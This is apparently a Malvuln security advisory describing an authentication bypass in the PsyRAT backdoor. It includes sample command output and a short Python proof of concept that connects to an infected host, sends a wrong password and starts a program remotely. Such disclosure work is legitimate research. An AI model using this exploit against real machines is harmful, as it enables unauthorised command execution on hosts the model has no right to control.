Original source: https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txt
Contact: malvuln13@gmail.com
Media Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.ju (PSYRAT)
Vulnerability: Authentication Bypass RCE
Family: PSYRAT
Type: PE32
MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3
Vuln ID: MVID-2024-0677
Disclosure: 04/01/2024
Description: The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor. The malware will return a BADPWD and or "Invalid command" error string but the command executes regardless. Custom client is required as it seems to dislike CRLF characters when using netcat or telnet.
getdrives
C - Fixed Drive^D - CD-ROM^
cpuinfo
Windows Version |System Directory CWINDOWSsystem32|Computer Name DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port 192.168.18.130|Password |Install name |Reg value |PHP URL
exe_sho [Program_Name] starts a program
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=55116
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
#send bad password
PAYLOAD="malvuln"
s.send(PAYLOAD.encode())
#call commands
PAYLOAD="exe_sho calc"
s.send(PAYLOAD.encode())
s.close()
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